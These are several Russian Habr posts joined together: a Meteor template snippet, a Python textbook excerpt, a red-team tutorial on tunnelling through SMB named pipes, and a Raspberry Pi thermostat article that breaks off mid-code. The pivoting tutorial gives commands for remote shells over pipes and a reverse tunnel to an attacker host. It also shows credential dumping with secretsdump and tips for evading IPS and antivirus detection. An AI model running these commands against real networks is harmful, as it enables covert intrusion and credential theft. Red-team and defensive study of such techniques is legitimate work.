// Валидация параметров, переданных из родительского шаблона
propsSchema: new SimpleSchema({
param: { type: String }
}),
// Устанавил схему модели
modelSchema: Posts.simpleSchema(),
// Установил реактивные состояния шаблона
states: {},
// Хелперы и События работают как прежде, но с контекстом Template.instance()
helpers: {}, events: {},
// Колбеки живут своей жизнью без изменений, как в стандартном Blaze
onCreated() {}, onRendered() {}, onDestroyed() {},
});
// Хелперы и События можно декларировать в старом стиле, но с контекстом Template.instance()
Template.hello.eventsByInstance({
'submit form': function(e) {
e.preventDefault();
// Get doc after clean and validation for save to model
this.viewDoc(function(error, doc) {
if (error) return;
Posts.insert(doc);
});
}
});
// Колбеки старой школы можно использовать без изменений.
Template.hello.onRendered(function() {
var self = this;
this.autorun(function() {
var doc = Posts.findOne();
if (doc) {
// Set doc from model to view
self.modelDoc(doc);
}
});
});
```
Запустить демку? Легко:
```
$ git clone https://github.com/comerc/meteor-template2.git
$ cd meteor-template2
$ meteor
```
<http://localhost:3000>
А зачем картинка? Так я себя ощущаю после коктейля [Meteor](http://ru.discovermeteor.com/) + [MVVM](https://ru.wikipedia.org/wiki/Model-View-ViewModel). | https://habr.com/ru/post/283152/ | null | ru | null |
# Книга «Python, например»
[](https://habr.com/ru/company/piter/blog/564270//) Привет, Хаброжители! Python — стремительно развивающийся язык программирования современности. В этом увлекательном и необычном руководстве материал разбивается на доступные пошаговые фрагменты, а теория объясняется кратко и понятно. Вместо того чтобы обрушивать на читателя лавину технического жаргона, вгоняющего в ступор, эта книга предлагает ему поработать над 150 практическими задачами. Создавая программы для решения этих задач, читатель быстро перейдет от азов к уверенному использованию сопрограмм, графического пользовательского интерфейса и к работе с внешними файлами — текстовыми, в формате .csv и базами данных SQL. Книга идеально подойдет каждому, кто хочет освоить программирование на Python. В частности студенты, изучающие computer science, и преподаватели, которые хотят более уверенно овладеть Python, найдут в книге подборку готовых задач для использования на учебных
курсах.
### Подпрограммы
Объяснение
Подпрограммы представляют собой блоки кода, которые решают определенные задачи и могут вызываться в любой момент во время работы программы для выполнения этого кода.
Преимущества:
* Написанный вами блок кода может повторно использоваться в разных местах во время работы программы.
* Программа становится более понятной, так как код делится на блоки.
**Определение подпрограмм и передач переменных между подпрограммами**
Ниже приведена простая программа, которую можно было бы написать и без подпрограмм. Здесь подпрограммы используются исключительно в демонстрационных целях:
```
def get_name():
user_name = input("Enter your name: ")
return user_name
def print_Msg(user_name):
print("Hello", user_name)
def main():
user_name = get_name()
print_Msg(user_name)
main()
```
Программа состоит из трех подпрограм, имеющих названия get\_name(), print\_Msg() и main().
Подпрограмма get\_name() предлагает пользователю ввести имя, а затем возвращает значение переменной user\_name, чтобы оно могло использоваться в других подпрограммах. Это очень важно: если не вернуть значение из подпрограммы, то значения любых переменных, созданных или измененных в этой подпрограмме, нельзя будет использовать в других точках программы.
Подпрограмма print\_Msg() выводит сообщение «Hello» и добавляет к нему имя пользователя. Переменная user\_name заключена в скобки, так как текущее значение переменной импортируется в подпрограмму для последующего использования.
Подпрограмма main() получает значение user\_name от подпрограммы get\_name(), так как оно было возвращено подпрограммой get\_name(). Затем переменная user\_name используется в подпрограмме print\_Msg().
Последняя строка main() — это сама программа. Все, что она делает, — это запуск подпрограммы main().
Разумеется, нет никакой необходимости так хитроумно запускать очень простую программу, но здесь этот пример приводится только для того, чтобы продемонстрировать структуру подпрограмм и механизм передачи и использования переменных в подпрограммах.
Будьте внимательны: Python не любит сюрпризы, так что если вы намереваетесь использовать подпрограмму в программе, Python должен заранее прочитать строку def имя\_подпрограммы(), чтобы знать, где искать подпрограмму. Если вы попытаетесь вызвать подпрограмму до того, как Python получит информацию о ней, он впадет в панику и программа закроется. Вызываемая подпрограмма должна быть записана выше той части кода, которая используется для ее вызова. Python читает программы сверху вниз и выполняет первую строку, которая не имеет отступа и не начинается со слова def. В приведенной выше программе это будет строка main().
> Помните: никогда не устраивайте сюрпризы для Python, потому что он этого не любит. Впрочем, это вообще полезный совет, и относится он не только к Python
**Примеры кода**
Все следующие примеры являются частью одной программы, поэтому они будут следовать в том
порядке, в котором приводятся ниже.
```
def get_data():
user_name = input("Enter your name: ")
user_age = int(input("Enter your age: "))
data_tuple = (user_name, user_age)
return data_tuple
```
Определяет подпрограмму с именем get\_data(), которая запрашивает у пользователя его имя
и возраст. Так как мы хотим передать сразу несколько наборов данных из одной части основной
программы другим, их необходимо как-то сгруппировать. Команда return может содержать только одно значение; именно поэтому мы объединяем переменные user\_name и user\_age в кортеж (с. 63) с именем data\_tuple.
```
def message(user_name, user_age):
if user_age <= 10:
print("Hi ", user_name)
else:
print("Hello ", user_name)
```
Определяет подпрограмму с именем message(), которая использует две ранее определенные
переменные (user\_name и user\_age).
```
def main():
user_name, user_age = get_data()
message(user_name, user_age)
```
Определяет подпрограмму main(), которая получает две переменные от подпрограммы get\_data(). Имена переменных должны следовать в том порядке, в котором они определяются в кортеже. Затем вызывается подпрограмма message() для выполнения задачи с этими двумя
переменными.
main()
Запускает подпрограмму main().
**Задачи**
**118**
Определите подпрограмму, которая предлагает пользователю ввести число и сохраняет его в переменной num. Определите другую подпрограмму, которая использует значение num и проводит отсчет от 1 до этого числа.
**119**
Определите подпрограмму, которая предлагает пользователю выбрать большое и маленькое число, а затем генерирует случайное число из этого диапазона и сохраняет его в переменной с именем comp\_num.
Определите другую подпрограмму, которая выводит сообщение «I am thinking of a number…», после чего предлагает пользователю угадать загаданное число.
Определите третью подпрограмму, которая проверяет, совпадает ли comp\_num с предположением пользователя. Если совпадает, то подпрограмма выводит сообщение «Correct, you win»; в противном случае цикл продолжается, а подпрограмма сообщает, больше или
меньше их предположение загаданного числа, и предлагает сделать новую попытку до тех пор, пока пользователь его не угадает.
**120**
Отобразите для пользователя следующее меню:
1) Addition
2) Subtraction
Enter 1 or 2:
Если пользователь выбирает 1, запускается подпрограмма, генерирующая два случайных числа из диапазона между 5 и 20.
Предложите пользователю сложить их. Рассчитайте правильный ответ и выведите его для пользователя вместе с его ответом.
Если он выбирает 2, должна запускаться подпрограмма, генерирующая случайное число между 25 и 50, а затем еще одно между 1 и 25. Попросите пользователя вычесть второе из
первого: так ему не придется беспокоиться об отрицательных значениях. Выведите правильный ответ вместе с ответом пользователя.
Создайте еще одну подпрограмму, которая будет проверять совпадение ответа пользователя с правильным ответом. Если ответы совпали, выведите сообщение «Correct»; в противном случае
выведите «Incorrect, the answer is» и правильный ответ.
Если пользователь ввел некорректное значение в самом первом меню, выведите соответствующее сообщение.
**121**
Напишите программу, которая помогает пользователю легко управлять списком имен. Программа должна выводить меню, дающее возможность добавлять, изменять и удалять имена из списка, а также отображать их все. Кроме того, в меню должна присутствовать команда для завершения работы программы. Если пользователь выбрал несуществующую команду, программа выводит соответствующее сообщение. После того как пользователь выбрал команду добавления, изменения или удаления имени или просмотра всех имен, меню должно выводиться снова без необходимости перезапуска программы. Программа должна быть по возможности простой и удобной в использовании.
**122**
Создайте следующее меню:
1) Add to file
2) View all records
3) Quit program
Enter the number of your selection:
Если пользователь выбрал вариант 1, данные должны добавляться в файл Salaries.csv, содержащий имена и зарплаты.
Если пользователь выбрал вариант 2, программа выводит все записи из файла Salaries.csv. Если пользователь выбрал вариант 3, программа завершается. Если выбран несуществующий вариант, выводится сообщение об ошибке. Пользователь снова и снова возвращается к меню, пока не будет выбран вариант 3.
**123**
В языке Python невозможно напрямую удалить запись из файла .csv. Вместо этого приходится сохранять файл во временном списке, вносить в него изменения, а затем заменять
исходный файл временным списком.
Измените предыдущую программу, чтобы она предоставляла такую возможность. Меню должно выглядеть так:
1) Add to file
2) View all records
3) Delete a record
4) Quit program
Enter the number of your selection:
**Об авторе**
Никола Лейси (Nichola Lacey) — директор компании Nichola Wilkin Ltd., является авторитетным разработчиком учебных материалов, поставила тысячи курсов в образовательные учреждения по всему миру. Никола — один из самых популярных авторов TES (образовательный ресурс [www.tes.com/international](https://www.tes.com/international)), а ее материалы набирают высокий рейтинг просмотров и сотни тысяч загрузок. Она была программистом до перехода в сферу корпоративного обучения и последующей переподготовки на должность преподавателя, а после повышения до уровня руководителя компьютерного направления в частной школе для мальчиков приобрела уникальные навыки из области программирования и практики преподавания.
Более подробно с книгой можно ознакомиться на [сайте издательства](https://www.piter.com/product/python-naprimer?_gs_cttl=120&gs_direct_link=1&gsaid=42817&gsmid=29789&gstid=c)
» [Оглавление](https://www.piter.com/product/python-naprimer#Oglavlenie)
» [Отрывок](https://www.piter.com/product/python-naprimer#Otryvok-1)
Для Хаброжителей скидка 25% по купону — **Python**
По факту оплаты бумажной версии книги на e-mail высылается электронная книга. | https://habr.com/ru/post/564270/ | null | ru | null |
# Используем пайпы для пивотинга
Ни для кого не секрет, что корпоративные IPS становятся все умнее и умнее. Сейчас уже никого не удивишь IPS с SSL-митмом на периметре сети или даже внутри корпоративной сети между сегментами. В то же время, помимо всем известных IPS, стали появляться и распространяться различные EDR-решения, которые уже непосредственно на хостах смотрят за устанавливаемыми соединениями. В связи с этим порядочному RedTeam специалисту с каждым днем все труднее и труднее скрываться от вездесущего взгляда BlueTeam. Приходится становиться все изобретательнее в своей нелегкой работе.
Одним из решений для маскировки наших «более полезных деструктивных действий»(с) внутри корпоративных сетей может послужить использование протоколов SMB или RDP. Можно спрятаться внутри них и замаскироваться под легитимный трафик. В этом ничего особо нового нет и техника маскировки внутри SMB используется со времен знаменитых APT-компаний Duqu и Sauron. Там ребята также с большим успехом использовали SMB протокол для передачи управляющих команд своим агентам. После этого данную технику переняли разработчики Metasploit и Cobalt Strike.
В данной статье мы рассмотрим варианты использования протокола SMB для пивотинга, а RDP уже оставим на потом.
### Используем SMB
Итак, давайте разберем, что же такого прекрасного в использовании SMB для пивотинга.
Во-первых, это широкое распространение. SMB — это практически родной протокол microsoft, то и в корпоративных сетях с windows он используется повсеместно и очень много где. Тут тебе и DFS, и обновления различные, и принтеры и много-много всего-всего. Очень удобно.
Правда, за пределы корпоративной сети, а уж тем более снаружи внутрь 445-й TCP порт сейчас частенько стали закрывать на фаерволах. Всему виной участившиеся случаи фишинга и релеинга с использованием ссылок типа file://x.x.x.x, \\x.x.x.x\ и т.д. И конечно не забудем про WannaCry, которая заставила многие организации закрыть торчащий наружу порт.
Во-вторых, в современных системах, типа Win10/Win2016 и выше информация, передаваемая внутри протокола SMB, точнее уже SMB3 шифруется по умолчанию. Т.е. передавая ваш любимый сплоит внутри SMB можно смело быть спокойным, что корпоративные IPS его не заметят (спасибо Micosoft за это!).
В-третьих, протокол SMB предоставляет удобный механизм так-называемых пайпов (SMB pipes) — это фактически те же именованные пайпы, только доступные по сети. К примеру, строка вида \\192.168.1.10\pipe\atsvc — это пайп службы scheduled tasks. Как раз с ним и работает atexec из фреймворка impacket для создания задач по выполнению команд в windows.
Посмотреть все открытые пайпы на вашей системе можно с помощью утилиты от Sysinternals: pipelist.exe (pipelist64.exe) или через тот же powershell:
```
[System.IO.Directory]::GetFiles("\\.\\pipe\\")
```
### Погружение
Итак, давайте посмотрим, как мы можем использовать SMB пайпы для наших, «более полезных деструктивных действий».
Мы хотим использовать пайпы для скрытной связи с нашим командным шеллом.
Суть в том, что мы запускаем на целевой машине своего агента или шелл, а связь с ним держим через протокол SMB.
К примеру, в метасплоите есть специальные пейлоды для работы c пайпами:
meterpreter\_bind\_named\_pipe
bind\_named\_pipe
С помощью них вы можете без труда «повесить» ваш listener (будь то meterpreter или обычный командный шелл) на named pipe, тем самым скрыв его от зорких глаз админа безопасности. Но, конечно же, все мы хорошо знаем, что использовать msf пейлоды в ходе боевого пентеста/редтима совсем небезопасно и настоящие тру-хакеры используют кастомный инструментарий, как говорится — от греха подальше…
Альтернативой для msf в качестве командного шелла может являться наш старый-добрый помощник — powershell. В сети существует много примеров по использованию пайпов в качестве канала для коммуникации с С2.
Один из них — это утилита Invoke-PipeShell от команды Threatexpress. Она работает в режиме сервер-клиент и шифрует весь свой трафик 256-битным AES-ключом.
На сервере мы запускаем:
```
Invoke-PipeShell -mode server -aeskey aaaabbbbccccdddd -pipe eventlog_svc -commandtimeout 30
```
На клиенте запускаем:
```
Invoke-PipeShell -mode client -server targetserver.domain.com -aeskey aaaabbbbccccdddd -pipe eventlog_svc -i -timeout 1000
```
Естественно, наш клиент должен быть авторизован на сервере, так что не забудьте сначала провести авторизацию:
```
net use \\targetserver.domain.com\IPC$ /user:admin Password1
```
После удачного подключения мы получаем полноценную Powershell консоль. Все подробности по работе с этим инструментом, как и сам код можно почерпнуть на [гите](https://github.com/threatexpress/invoke-pipeshell).
Хорошо. Это вроде понятно. Теперь давайте подумаем, как нам сделать пивотинг внутрь целевой сети через SMB пайпы. К примеру, если на периметре сети открыт только 445-й порт (а бывает и такое...) или соединения наружу от нашего туннелера по SSL беспощадно блокируются корпоративным фаерволом, а вот протокол SMB почему-то закрыть забыли. В этом случае нам необходимо пробросить внутри пайпа полноценный TCP-туннель для того, чтобы мы могли работать с внутренними ресурсами целевой сети. Первое, что приходит в голову — это тот же meterpreter со стейджингом через пайпы. Он прекрасно умеет это делать. Подробности здесь мы рассматривать не будем, т.к. тут все стандартно и по мануалу. Желающие могут почитать инструкцию к metasploit, или посмотреть короткую версию [здесь](https://medium.com/@petergombos/smb-named-pipe-pivoting-in-meterpreter-462580fd41c5).
О недостатках meterpreter мы уже упоминали выше. Поэтому, давайте посмотрим, что у нас есть еще для пивотинга через пайпы…
После беглого гугления по теме туннелинга через пайпы помимо meterpreter нашлись только [Cobalt Strike](https://blog.cobaltstrike.com/2013/12/06/stealthy-peer-to-peer-cc-over-smb-pipes/)и разработка от [DxFlatLine](https://github.com/dxflatline/flatpipes).
Первый вариант, во-первых, платный, а во-вторых — ему присущи все те же недостатки, что и meterpreter.
Второй вариант сделан в качестве PoC, работает только в однопоточном режиме и дает туннелировать только одно соединение — т.е., как вы можете догадаться, тоже не вариант для постоянного применения на практике.
### И что делать?
Немного подумав над проблемой, мы решили… А почему бы нам не адаптировать нашу прошлую разработку Rsockstun, о которой мы уже [писали](https://habr.com/ru/post/454254/), под работу с пайпами? Тем более, что архитектура приложения позволяет это сделать с легкостью. Вместо подключения по TCP мы будем использовать подключение по SMB. Это даже упрощает работу утилиты: не надо беспокоиться о SSL, подключении через прокси-сервер и т.д. Оставим только вариант с изначальной авторизации клиента на сервере по паролю, т.к. пайпы — это общедоступная сущность, и, соответственно, читать и писать в них может не только наш туннелер, но и другой софт, в том числе и удаленно.
Права доступа к пайпам, а также сканирование и энумерация пайпов на удаленной машине — это отдельная тема для разговоров. Желающие могут изучить ее на примере metasploit модулей scanner/smb/pipe\_auditor и scanner/smb/pipe\_rpc\_auditor.
Для работы с пайпами из Go мы будем использовать библиотеку [npipe](https://github.com/natefinch/npipe)
Она сделана достаточно давно и хорошо зарекомендовала себя в различных проектах. Работа через данную библиотеку принципиально не отличается от работы через стандартные механизмы Net: те же функции net.Dial, net.Listen, net.Accept.
Для мультиплексирования нескольких подключений внутри одного пайпа, как и в прошлый раз, мы будем использовать мультиплексор Yamux и socks5 — прокси-сервер. Подробнее про необходимость мультиплексирования внутри TCP и сам yamux вы можете почитать в нашей прошлой [статье](https://habr.com/ru/post/453970/) про rsockstun.
Еще одним отличием и доработкой версии с пайпами, по сравнению с rsockstun, будет то, что теперь yamux-server и соответственно, socks5-proxy могут быть запущены на обоих концах туннелера (правда не одновременно, а либо там, либо там). Это сделано для того, чтобы туннель можно было строить как снаружи вовнутрь целевой сети, так и обратно…
### А теперь как обычно — нюансы
Рисунок 1 — Дамп трафика работы туннелера на Windows 7
На рисунке 1 показано, как будет выглядеть работа нашего туннелера в случае, если хотя бы один из его концов работает на Windows 7. Здесь красная зона — это этап авторизации, зеленая — открытие пайпа, а синяя — непосредственно передача информации. Так же необходимо обратить внимание на то, что используется протокол SMBv2. Фактически это означает, что все что мы передаем внутри туннеля — будет видно открытым текстом:
В отличие от Win7, на Windows10 используется шифрование данных внутри протокола SMB3:
Как мы видим — ни имени пайпа, ни данных внутри туннеля открытым текстом не передается.
Проверить, работает ли на Вашей системе SMB3 шифрование можно через стандартный powershell cmdlet Get-SmbServerConfiguration
И при выключенном шифровании — так же просто его активировать:
Однако, не всегда мы можем быть уверенными, что шифрование внутри SMB будет включено по умолчанию, а включать его на чужом сервере или сети — не самая хорошая идея…
В связи с этим нам необходимо предусмотреть в нашем туннелере режим, который позволил бы зашифровать трафик внутри нашего туннеля. Причем у нас не стоит задача надежно зашифровать так, чтобы расшифровать могли только на суперкомпьютере АНБ, а всего лишь спрятать сигнатуры трафика внутри туннелера от IPS. В связи с этим мы будем использовать простой XOR с небольшим ключом для маскировки нашего трафика, что позволит нам экономить ресурсы процессора и практически не повлияет на скорость передачи.
Чтобы не создавать лишний сетевой уровень, ответственный за шифрование трафика, мы внесем функционал непосредственно в состав модуля yamux, ответственного за передачу полезной нагрузки (модуль stream.go, и функции Read и Write):
```
func xoring(istr *[]byte, key string){
for i := 0; i < len(*istr); i++ {(*istr)[i] = (*istr)[i] ^ key[i % len(key)]}
}
```
После внесения изменений наш GET запрос уже не так хорошо виден в трафике:
### Один, два, три… Пуск!
Итого, варианты запуска и соответственно применения нашего туннелера будут такими:
**Вариант 1.** Подключение снаружи внутрь сети и проброс Socks5 соединения. Например, когда наружу торчит 445-й порт и мы знаем креды для подключения:
На внутреннем сервере через SMB подключение и утилиту impacket запускаем серверную часть rsockpipe:
```
./atexec.py administrator:adminPassw0rd@ "rsockspipe.exe -listen .\rsockspipename -pass Password1234"
```
На внешней (подконтрольной нам) Windows-машине запускаем клиентскую часть rsockspipe и после установления соединения используем её как socks5 proxy:
```
rsockspipe.exe -connect x.x.x.x\rsockspipename -socks y.y.y.y:1080 -pass Pass-word1234
proxychains secretsdump.py admin:Passw0rd@y.y.1.10
```
**Вариант 2.** Подключение изнутри наружу по протоколу SMB. Когда подключения наружу по всем web-протоколам жестко мониторятся, а про SMB админы почему-то позабыли…
На внешней (подконтрольной нам) Windows машине (ip: Y.Y.Y.Y) запускаем клиентскую часть rsockspipe и ждем подключения клиентов:
```
rsockspipe.exe -listen .\rsockspipename -socks y.y.y.y:1080 -pass Password1234
```
На сервере внутри целевой сети запускаем клиентскую часть (так же через impacket):
```
./atexec.py administrator:adminPassw0rd@ "rsockspipe.exe -connect Y.Y.Y.Y\rsockspipename -pass Password1234"
```
После удачного подключения можем пользоваться нашим сервером как soscks5:
```
proxychains secretsdump.py admin:Passw0rd@y.y.1.10
```
Тут есть одно замечание, особенно ко второму варианту. Помните, мы говорили, что для удачного подключения к пайпу мы должны быть авторизованы на серверной части, т.е. перед запуском туннелера нам необходимо пройти авторизацию. Сделать это можно так:
```
net use \\y.y.y.y\ipc$ /user:
```
Так вот… Во втором варианте использования команда net use запускается на целевой машине. А это означает что на целевой машине (в памяти процесса lsass) остаются креды от Вашей Windows машины. И если они будут админские (а как правило все начинающие хакеры работаю от админа...), то это может привести к «обратному привету» от BlueTeam… В общем, думаете, когда что-либо делаете…
### Вместо заключения
В целом, туннелер получился достаточно неплохой… Главное, что готов к активному применению.
Исходный код, как и уже скомпилированные бинари под x86 и x64 расположены на нашем [гите](https://github.com/mis-team/rsosckpipe)
И Небольшое дополнение. Последнее время стали замечать, что Golang-софт, скомпилированный в режиме Win GUI (компиляция в режиме: go build -ldflags="-H windowsgui"), стал сильно палится некоторыми анти-вирусными решениями (KAV, SEP14). Доходит уже до смешного — откомпилированный в GUI-режиме «Hello World» детектируется как зловред. Видимо, это из-за того, что Golang все-таки стал излюбленным средством малварщиков. Так что наш совет — компилировать проект в стандартном консольном режиме, а с черным cmf-окошком настоящий хакер знает, как справиться (в качестве подсказки — тот же impacket, например).
P.S. «Более полезные деструктивные действия» — формулировка Д.Самарцева — директора компании BiZone. В дан-ном случае она наиболее точно описывает суть работы RedTeam специалистов. | https://habr.com/ru/post/460659/ | null | ru | null |
# Как сделать DIY-термостат с веб-интерфейсом, чтобы отапливать дом дистанционно
Разработка на фронтенде не ограничивается интернет-ресурсами, а бекенд может оказаться неожиданным. К старту курса о [Fullstack-разработке](https://skillfactory.ru/python-fullstack-web-developer?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_FPW&utm_term=regular&utm_content=260721) на Python делимся переводом статьи, автор которой в условиях Великобритании, где центрального отопления в привычном нам смысле этих слов нет, столкнулся с неудобствами отопления в новом доме и самостоятельно собрал электронный термостат, для управления прибором написав веб-интерфейс, а также бекенд на Flask.
---
Недавно моим родителям установили «умный» термостат. И мне подумалось: неужели я не смогу сам сотворить нечто подобное? Отлично помню себя маленьким — я был одержим технологиями, особенно меня восхищали миниатюрные портативные устройства. Восторг вызывали мини-телевизоры, игровые приставки начала девяностых, наладонники Palm Pilot и коммуникаторы Nokia конца этого же десятилетия, карманные компьютеры, появившиеся на рубеже двухтысячных. Как же я мечтал об этом! И думал, что миниатюрные электронные устройства и системы домашней автоматики — это увлечение сильных мира сего, Брюса Уэйна или Тони Старка. Пока у меня не появилось это чудо:
Если хочется сразу перейти к коду, пропустите введение. Конечно же, я знал, что одноплатники существуют — у меня уже несколько лет была модель Pi 3B, которая работала по-разному: как эмулятор игровой консоли, как медиацентр, файловый сервер, веб-сервер, песочница kali linux и т. д. Но будем честными: модель справляется со всеми этими задачами, но без особого блеска. От медиацентра на Raspberry Pi 3 руки чешутся собрать что-то покруче!
Настоящий потенциал Pi я ощутил недавно. Оказывается, мощь компьютера Raspberry Pi кроется в его выводах GPIO (**G**eneral **P**urpose **I**nput/**O**utput). Я пересмотрел множество видео на YouTube, ролики канала [Explaining Computers](https://www.youtube.com/user/explainingcomputers) от моего любимого Кристофера Барнатта, на которые подписан. В них подробно рассказывается о проектах и пробах с GPIO, но в попытках освоить тонкости хакерского искусства по роликам YouTube у меня не получалось придумать достойный проект, бросить всё и погрузиться в схемотехнику. До экспериментов дело не доходило.
Выводы GPIO на Raspberry Pi SBCЧто мешало начать:
1. Опасение вывести из строя мой Pi.
2. Кабели-перемычки, модули, платы и т. д, они дорогие, их пришлось бы докупать.
3. Врождённая лень.
Разберёмся с пунктами.
1. Приступив к работе, вы сразу поймёте, насколько удобно расположены выводы, большинство из которых в целом одинаковы — нужно только понять, как они расположены.
2. Затраты окажутся удивительно незначительными, особенно если всё грамотно спланировать. Можно заказать недорогие комплектующие у сторонних производителей, но найти их и дождаться… Это может занять много времени.
Потеряв терпение, ради экспериментов я пожертвовал кабелями, которые вытащил из других мест и наугад подсоединил к выводам GPIO — всё прошло нормально, ничего не сломалось, но я вспомнил пункт #1.
Как настоящий начинающий хакер, я аккуратно подобрал инструменты первой необходимости — паяльники, мелкие отвёртки. Монтажная плата для макетов или тестов так и не понадобилась. И лень — обычное жизненное обстоятельство. Все мы справляемся с ней по-своему. Нужно себя пересилить, придумать идею и разработать план.
### Достойный проект
Год назад я переехал в новый дом. Этой зимой во всей красе проявились недостатки центрального отопления, система которого имеет отдельные ответвления вниз и вверх, каждое со своим программатором. Они устроены так, что температура выставляется четыре раза в сутки, а в будни и в выходные система ведёт себя по-разному.
Например, можно запрограммировать нагрев до 20° С в 6 утра, затем снизить до 5° С в 8, потому что дома никого нет и поднять до 20° С в 6 вечера, перед сном снизив температуру до 5° С.
В субботу и воскресенье можно настроить другой режим. Это комбинированная система. У большинства систем, с которыми я имел дело, были отдельные терморегулятор и таймер; на мой взгляд, объединение этих устройств освобождает пространство на стене, но ограничивает функциональность, например потому, что у настенной модели нет кнопки, чтобы на один час усилить отопление.
Когда нужно задать какое-нибудь нестандартное время нагрева, единственное, что можно сделать, — внимательно следить за температурой на экране до какого-то порога и зафиксировать её на этом уровне до следующего изменения, а затем, когда придёт время, убавить её. Эти раздражающие действия автоматизируются, а узнав, что родители приобрели управляемый мобильным приложением термостат, это заставило задуматься, как дистанционно обогреть дом и насколько сложно собрать прибор самому.
### Настройка реле отключения через GPIO RPi
Это обычное реле — справа внизу — в нормально разомкнутом положении (N/O)Когда температура опускается ниже порогового значения, раздаётся щелчок, а звук реле ни с чем не спутаешь, поэтому я полагал, что схема работает благодаря реле. Бойлер нагревается — температура поднимается; щелчок — и бойлер остывает. В сети я заказал самое недорогое реле, которое работает с Pi. Я был взволнован и даже слегка опасался за первый проект GPIO.
Для своей модели я выбрал реле [*Adafruit Power Relay Featherwing*](https://www.adafruit.com/product/3191%23technical-details)*.* Реле на 5 ампер и 250 вольт должно справляться с британским напряжением и надёжно срабатывать от выходного напряжения Pi 3В.
3В подключен к выводу 1, GND — к выводу 9, а сигнал — к выводу 13 (GPIO 27)Реле прибыло, я приступил к программированию. Вначале я запустил тестовый скрипт, о котором узнал на канале Explaining Computers.
```
import RPi.GPIO as GPIO
import time
GPIO.setmode(GPIO.BOARD)
GPIO.setup(13, GPIO.OUT)
try:
while True:
GPIO.output(13, True)
time.sleep(1)
GPIO.output(13, False)
time.sleep(1)
finally:
GPIO.cleanup()
```
*Первое испытание*
В примере выше после импорта RPi.GPIO я установил последовательный режим Board Numbering, а затем входным контактом сделал выбранный сигнальный вывод GPIO 27, обозначенный в коде числом 13.
Затем я запустил цикл while, который с задержкой в секунду включает и выключает реле. Блок try/finally перед выходом из программы удаляет настройки. Всё заработало сразу (спасибо, Крис!). Невообразимо приятно было слышать щелчки реле и видеть, как мой скрипт работает с физическим объектом!
Оставалось ещё много свободных контактов, и это было хорошо: нужно было подключить температурный модуль. Я поискал немного и выбрал BMP280 от Bosch — самый недорогой модуль с хорошими отзывами:
Ещё пара поисков в сети, и я нашёл полезную [схему](http://www.pibits.net/code/raspberry-pi-and-bmp280-sensor-example.php) и руководство о том, как подсоединить этот модуль к Pi:
В нашем случае важно знать назначение контактов, поскольку 3 и 5 (GPIO 2(SDA) и 3(SCL)) [задействованы](https://en.wikipedia.org/wiki/IC) последовательной асимметричной шиной для связи между интегральными схемами.
Я выбрал конфигурацию выше, пришлось переместить кабель 3В реле на контакт Pi 3В в позиции 17. В остальном температурный датчик не должен мешать работе реле, я подключил его без проблем:
Температурный модуль, свисающий с временных кабелей (позже я заменил их)Конечно же, сначала я написал скрипты для тестирования реле и модуля датчика, и если первая часть это работы не представила для меня никаких затруднений, то со второй пришлось повозиться: передача данных зависела от характеристик I2C-выводов Pi. С ними то и дело возникали проблемы прав доступа, особенно не на Raspbian. Я работаю с Ubuntu 20.04, но всё разрешилось благополучно — достаточно было кое-что поискать и пару раз зайти на Stack Overflow.
Проблема возникала из-за моей давней приятельницы — ошибки `PermissionError`, срабатывающей при попытке запустить скрипт не от имени root. Неидеальный вариант, если нужно, чтобы скрипт запускался автономно на веб-сервере.
В итоге я нашёл фантастически полезный пакет `pigpiowhich`, позволяющий обходить эти разрешения, если запущен демон `pigpiod`. Он может служить как замена RPi.GPIO, в настройке он значительно проще. Установить его на Ubuntu и Raspbian можно так:
```
sudo apt install pigpiod
```
Затем устанавливается модуль Python:
```
pip3 install pigpio
```
Нужно было учесть другие зависимости, пришлось установить smbus2 и `pimoroni-bme280`:
```
pip3 install smbus2 pimoroni-bme280
```
### Устранение неисправностей
Я рекомендую установить i2c-tools, который помог обнаружить проблему плохой пайки.
```
sudo apt install i2c-tools
```
Пакет позволяет просмотреть занятые адреса I2C. Если все контакты свободны, вы увидите такой вывод:
Если всё установлено, но ничего не работает, возможно, проблема в неаккуратной пайке. Припаивая крохотные GPIO-контакты к Pi Zero W, я не проследил, чтобы каждая капля припоя проникала непосредственно в отверстие. Сразу после исправления ошибки i2cdetect нашёл модуль:
В этот момент беспокойство #1 достигло пика. Больше всего я опасался, что случайно припаяю один крохотный контакт к другому и случится короткое замыкание. Но всё обошлось, свой Pi я не повредил, хотя оставил несколько пятен припоя в нижней части платы.
Код
---
Отладка оборудования была завершена, настало время написать *тот самый*, нетестовый код. Для системы отопления я решил создать особый класс, отвечающий за выполнение необходимых операций, так, чтобы легко импортировать его, например, в приложение Flask.
```
import json
import time
from datetime import datetime
from threading import Thread
import pigpio
import requests
from requests.exceptions import ConnectionError
class Heating:
def __init__(self):
self.pi = pigpio.pi()
self.advance = False
self.advance_start_time = None
self.on = False
self.tstat = False
self.temperature = self.check_temperature()
self.humidity = self.check_humidity()
self.pressure = self.check_pressure()
self.desired_temperature = 20
self.timer_program = {
'on_1': '07:30',
'off_1': '09:30',
'on_2': '17:30',
'off_2': '22:00',
}
def thermostatic_control(self):
self.tstat = True
while self.tstat:
time_check = datetime.strptime(datetime.utcnow().time().strftime('%H:%M'), '%H:%M').time()
on_1 = datetime.strptime(self.timer_program['on_1'], '%H:%M').time()
off_1 = datetime.strptime(self.timer_program['off_1'], '%H:%M').time()
on_2 = datetime.strptime(self.timer_program['on_2'], '%H:%M').time()
off_2 = datetime.strptime(self.timer_program['off_2'], '%H:%M').time()
if (on_1 < time_check < off_1) or (on_2 < time_check < off_2):
if self.check_temperature() < int(self.desired_temperature) and not self.check_state():
self.switch_on_relay()
elif self.check_temperature() > int(self.desired_temperature) + 0.5 and self.check_state():
self.switch_off_relay()
time.sleep(5)
else:
if self.check_state():
self.switch_off_relay()
time.sleep(900)
return
def thermostat_thread(self):
self.on = True
t1 = Thread(target=self.thermostatic_control)
t1.daemon = True
t1.start()
def stop_thread(self):
self.on = False
self.tstat = False
self.switch_off_relay()
def sensor_api(self):
try:
req = requests.get('http://192.168.1.88/')
data = json.loads(req.text)
return data
except ConnectionError:
return {
'temperature': self.temperature,
'humidity': self.humidity,
'pressure': self.pressure,
}
def check_temperature(self):
self.temperature = self.sensor_api()['temperature']
return self.temperature
def check_pressure(self):
self.pressure = self.sensor_api()['pressure']
return self.pressure
def check_humidity(self):
self.humidity = self.sensor_api()['humidity']
return self.humidity
def switch_on_relay(self):
self.pi.write(27, 1)
def switch_off_relay(self):
self.pi.write(27, 0)
def check_state(self):
return self.pi.read(27)
def start_time(self):
if not self.advance_start_time:
